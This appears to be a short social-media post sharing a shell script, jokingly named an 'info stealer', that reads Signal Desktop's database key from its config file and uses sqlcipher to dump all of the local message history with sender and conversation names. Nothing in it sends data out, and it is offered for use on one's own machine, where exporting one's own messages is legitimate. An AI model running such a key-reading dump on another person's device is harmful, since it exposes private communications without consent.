totally innocent file named signal-info-stealer.sh
#!/bin/sh
set -e
# dependencies:
# yay -S sqlcipher signal-desktop jq
key="$(jq -r .key ~/.config/Signal/config.json)"
# it will use "You" for messages sent from this device
# and "Clover" (your username) for stuff sent from other devices
sql="
PRAGMA key = \"x'$key'\";
SELECT concat(
'[', coalesce(sender.profileName, 'You'), ' → ', conversations.name, conversations.profileName, '] ',
messages.body
) FROM messages
JOIN conversations ON messages.conversationId = conversations.id
LEFT JOIN conversations sender ON messages.sourceServiceId = sender.serviceId
WHERE (messages.type = 'incoming' OR messages.type = 'outgoing') AND messages.body != ''
ORDER BY messages.timestamp;
"
echo "$sql" | sqlcipher -readonly ~/.config/Signal/sql/db.sqlite | tail -n +2
feel free to run on your own machines :neobot_floof:
context:
RE: https://mk.absturztau.be/notes/a44qenycfg7v02d7